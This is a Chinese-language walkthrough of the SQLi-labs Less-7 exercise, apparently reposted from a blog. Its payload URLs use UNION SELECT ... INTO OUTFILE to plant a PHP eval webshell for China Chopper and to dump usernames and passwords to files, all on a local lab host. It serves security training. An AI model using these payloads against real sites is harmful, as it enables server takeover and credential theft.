本关的标题是dump into outfile,意思是本关我们利用文件导入的方式进行注入。而在Background-3中我们已经学习了如何利用dump into file。
这里首先还是回到源代码中去。重点放在对id参数的处理和sql语句上,从源代码中可以看到
$id=$_GET[‘id‘]; $sql="SELECT * FROM users WHERE id=((‘$id‘)) LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result); if($row) { echo ‘<font color= "#FFFF00">‘; echo ‘You are in.... Use outfile......‘; echo "<br>"; echo "</font>"; } else { echo ‘<font color= "#FFFF00">‘; echo ‘You have an error in your SQL syntax‘; //print_r(mysql_error()); echo "</font>"; }
这里对id参数进行了 ‘))的处理。
那我们这里利用上述提到的文件导入的方式进行演示:
首先找到WEB目录的绝对路径
http://127.0.0.1/sql/Less-2/?id=-1%20union%20select%201,@@basedir,@@datadir%20--+
这里投机取巧了,找了个简单题Less-2直接注入拿到路径,方便导出。
http://127.0.0.1/sql/Less-7/?id=1‘)) union select 1,2,3 into outfile "D:\\software\\wamp\\www\\sql\\Less-7\\uuu.txt" %23
上图中显示sql出错了,但是没有关系,我们可以在文件中看到uuu.txt已经生成了。
像上述background-3中一样,我们可以直接将一句话木马导入进去。
http://127.0.0.1/sql/Less-7/?id=1‘)) union select 1,2,‘<?php @eval($_POST["mima"])?>‘ into outfile "D:\\software\\wamp\\www\\sql\\Less-7\\test.php" --+
我们可以在文件中看到一句话木马已经导入进去了
页面访问test.php
此时用中国菜刀等webshell管理工具连接即可
可以进行文件管理、数据库管理等
比如进入文件管理,可以管理服务器上的所有目录的文件
其余的不再赘述。
还有另一个思路,可以直接将查询语句的结果写入文件中,然后访问此文件即可。
注意这里的文件不能是一个已经存在的文件
写入用户,库名,版本号
http://127.0.0.1/sql/Less-7/?id=-1‘)) union select user(),database(),version() into outfile "D:\\software\\wamp\\www\\sql\\Less-7\\1.txt" --+
写入表名
http://127.0.0.1/sql/Less-7/?id=-1‘)) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() into outfile "D:\\software\\wamp\\www\\sql\\Less-7\\2.txt" --+
写入字段名,以users表为例
http://127.0.0.1/sql/Less-7/?id=-1‘)) union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=‘security‘ and table_name=‘users‘ into outfile "D:\\software\\wamp\\www\\sql\\Less-7\\3.txt" --+
写入users表的内容
http://127.0.0.1/sql/Less-7/?id=-1‘)) union select 1,2,group_concat(username,0x3a,password) from users into outfile "D:\\software\\wamp\\www\\sql\\Less-7\\4.txt" --+
来自:https://www.cnblogs.com/lcamry/p/5763105.html